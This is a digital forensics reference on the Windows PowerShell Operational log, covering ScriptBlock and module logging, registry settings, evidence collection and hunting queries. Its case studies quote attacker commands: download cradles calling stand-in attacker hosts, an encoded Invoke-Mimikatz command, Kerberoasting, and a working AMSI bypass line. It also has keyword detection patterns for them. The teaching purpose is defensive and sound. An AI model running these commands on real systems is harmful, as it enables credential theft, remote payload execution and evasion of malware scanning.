PowerShell Operational Log

PowerShell is the most commonly abused living-off-the-land binary in enterprise intrusions — and when ScriptBlock logging is enabled, every line of attacker code is recorded in plain text, even after Base64 decoding and AMSI deobfuscation. The PowerShell Operational log transforms the defender’s blind spot into a forensic goldmine, capturing the full text of download cradles, credential harvesters, and lateral movement scripts.

What Is the PowerShell Operational Log?

Windows maintains two primary PowerShell event log channels. The Microsoft-Windows-PowerShell/Operational log (PowerShell 5.0+) captures ScriptBlock logging, module logging, and engine lifecycle events. The legacy Windows PowerShell log (the “classic” log) captures pipeline execution details and engine start/stop events. For forensic purposes, the Operational log is far more valuable because it records the actual content of executed scripts, not just metadata about execution.

ScriptBlock Logging (Event ID 4104) is the crown jewel. When enabled, PowerShell records the full text of every script block before execution. Critically, this logging occurs after deobfuscation — if an attacker uses Base64 encoding (-EncodedCommand), string concatenation, or variable substitution to obscure their commands, the logged script block contains the decoded, reconstructed command. This means investigators see the actual malicious code, not the obfuscated wrapper.

Module Logging (Event ID 4103) records detailed information about PowerShell module imports and the specific cmdlets invoked. Pipeline Execution Logging captures the output of commands. Together, these three logging mechanisms provide complete visibility into PowerShell activity — but only if they are enabled via Group Policy or registry configuration.

Location & Format

Log File Paths

Enabling ScriptBlock Logging

Registry Equivalent

# ScriptBlock Logging
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
    EnableScriptBlockLogging = 1  (REG_DWORD)

# Module Logging (log all modules)
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging
    EnableModuleLogging = 1  (REG_DWORD)
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames
    * = *  (REG_SZ)

# Transcription (writes .txt files)
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription
    EnableTranscripting = 1  (REG_DWORD)
    OutputDirectory = C:\PSTranscripts  (REG_SZ)

Critical Event IDs

PowerShell Operational Log

Windows PowerShell (Classic) Log

What It Reveals

With ScriptBlock Logging enabled, the PowerShell Operational log captures:

• Full text of download cradles — IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1') is logged verbatim, including the URL.
• Credential harvesting scripts — Invoke-Mimikatz, Get-GPPPassword, Invoke-Kerberoast, and custom credential theft scripts are recorded in full.
• Encoded command payloads (decoded) — When -EncodedCommand is used, Event ID 4104 logs the decoded UTF-16LE script text, not the Base64.
• Reconnaissance commands — Get-ADUser, Get-ADComputer, Get-NetSession, Invoke-ShareFinder and other enumeration commands appear with their parameters.
• Lateral movement scripts — Invoke-PsExec, Invoke-WMIMethod, Enter-PSSession, Invoke-Command -ComputerName with target hosts visible.
• Defense evasion techniques — AMSI bypass attempts ([Ref].Assembly.GetType(...).SetValue($null, $true)), execution policy bypass, and constrained language mode escapes are all logged.
• Module imports — Event ID 4103 records when offensive modules are imported: Import-Module PowerView, Import-Module Invoke-Obfuscation.
• Session metadata — PowerShell version, host application path, user context, and runspace configuration.

Forensic Use Cases

1. Cobalt Strike Beacon Deployment

An attacker gains initial access via phishing and runs a PowerShell download cradle. Event ID 4104 captures: IEX (New-Object Net.WebClient).DownloadString('https://staging.attacker[.]com/beacon.ps1'). The subsequent script blocks log the Cobalt Strike stager code in full, including the C2 server address, pipe name, and sleep interval. The investigator recovers the complete attack chain from the event log alone, without needing the original payload file.

2. Credential Theft with Invoke-Mimikatz

An attacker runs powershell -enc SQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoAIAAtAEQAdQBtAHAAQwByAGUAZABzAA==. Despite the Base64 encoding, Event ID 4104 logs: Invoke-Mimikatz -DumpCreds. The script block further contains the embedded Mimikatz PE, the reflective loading code, and any output redirections. The Base64 encoding provided zero protection against ScriptBlock Logging.

3. Kerberoasting Attack

Script blocks capture Invoke-Kerberoast -OutputFormat Hashcat | Out-File C:\temp\hashes.txt. Module logging (4103) records the import of the PowerView module. The investigator identifies the exact SPNs targeted and the output file location, enabling recovery of the hash file from disk or from the $MFT if it was deleted.

4. AMSI Bypass Detection

Before executing malicious code, attackers frequently attempt to disable AMSI (Antimalware Scan Interface). ScriptBlock Logging captures the bypass attempt itself: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true). The presence of this script block is strong evidence of deliberate evasion and subsequent malicious activity.

5. Living-Off-The-Land Reconnaissance

An attacker who has compromised a domain-joined workstation runs a series of reconnaissance commands. Event ID 4104 captures each one: Get-ADDomainController, [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain(), Get-NetSubnet, Invoke-ShareFinder -Verbose. The complete enumeration playbook is recorded in chronological order, allowing the investigator to reconstruct the attacker’s methodology.

Acquisition Methods

Live System — wevtutil Export

:: Export the PowerShell Operational log
wevtutil epl Microsoft-Windows-PowerShell/Operational C:\Evidence\PS_Operational.evtx

:: Export the classic Windows PowerShell log
wevtutil epl "Windows PowerShell" C:\Evidence\PS_Classic.evtx

:: Check if ScriptBlock Logging is enabled
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging

:: Check for transcription files
dir /s /b C:\PSTranscripts\*.txt 2>nul

Live System — KAPE / Velociraptor

:: KAPE: Collect all event logs including PowerShell
kape.exe --tsource C: --tdest C:\Evidence\KAPE_Output --target EventLogs,PowerShellTranscripts

:: Velociraptor: Hunt for PowerShell script blocks
:: Artifact: Windows.EventLogs.PowershellScriptblock
:: Returns all 4104 events with script text for keyword searching

Forensic Image — Direct Extraction

# Copy PowerShell event logs from mounted image
cp "/mnt/evidence/Windows/System32/winevt/Logs/Microsoft-Windows-PowerShell%4Operational.evtx" /analysis/evtx/
cp "/mnt/evidence/Windows/System32/winevt/Logs/Windows PowerShell.evtx" /analysis/evtx/

# Also check for transcription output (if enabled)
find /mnt/evidence -name "PowerShell_transcript*" -type f 2>/dev/null

Parsing Tools & Analysis

PowerShell Queries for Analysis

# Extract all ScriptBlock logs (Event ID 4104)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';Id=4104} |
    Select-Object TimeCreated,
        @{N='ScriptBlockText';E={$_.Properties[2].Value}},
        @{N='ScriptBlockId';E={$_.Properties[3].Value}},
        @{N='Path';E={$_.Properties[4].Value}}

# Search for known offensive keywords in script blocks
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';Id=4104} |
    Where-Object { $_.Message -match 'Invoke-Mimikatz|Invoke-Kerberoast|DownloadString|EncodedCommand|AmsiUtils|Invoke-WebRequest|Invoke-Expression|IEX|Net.WebClient' } |
    Select-Object TimeCreated, @{N='Script';E={$_.Properties[2].Value}} |
    Format-List

# Reconstruct a multi-part script block (same ScriptBlockId, multiple parts)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';Id=4104} |
    Where-Object { $_.Properties[3].Value -eq 'target-guid-here' } |
    Sort-Object { [int]$_.Properties[0].Value } |
    ForEach-Object { $_.Properties[2].Value } | Out-String

# Query offline .evtx file
Get-WinEvent -Path 'C:\Evidence\PS_Operational.evtx' -FilterXPath "*[System[(EventID=4104)]]"

Hunting with Chainsaw

:: Hunt for PowerShell attack patterns using Sigma rules
chainsaw hunt C:\Evidence\evtx\ -s sigma/rules/windows/powershell/ --mapping mappings/sigma-event-logs-all.yml

:: Search for specific keywords in PowerShell logs
chainsaw search C:\Evidence\PS_Operational.evtx -s "Invoke-Mimikatz"
chainsaw search C:\Evidence\PS_Operational.evtx -s "DownloadString"
chainsaw search C:\Evidence\PS_Operational.evtx -s "AmsiUtils"

Retention & Persistence

Anti-Forensics Resilience

MITRE ATT&CK Detection Mapping

Related Artifacts & Cross-References

Complementary Artifacts

References

1. Microsoft, “About Logging Windows — PowerShell” — https://learn.microsoft.com
2. Eric Zimmerman, “EvtxECmd — EVTX Parser” — https://ericzimmerman.github.io/
3. FireEye, “Greater Visibility Through PowerShell Logging” — https://www.mandiant.com
4. SANS Institute, “Investigating PowerShell Attacks” — https://www.sans.org
5. WithSecure, “Chainsaw — Rapid EVTX Hunting” — https://github.com/WithSecureLabs/chainsaw
6. Eric Conrad, “DeepBlueCLI” — https://github.com/sans-blue-team/DeepBlueCLI
7. SigmaHQ, “PowerShell Detection Rules” — https://github.com/SigmaHQ/sigma
8. Lee Holmes, “PowerShell Loves the Blue Team” — https://devblogs.microsoft.com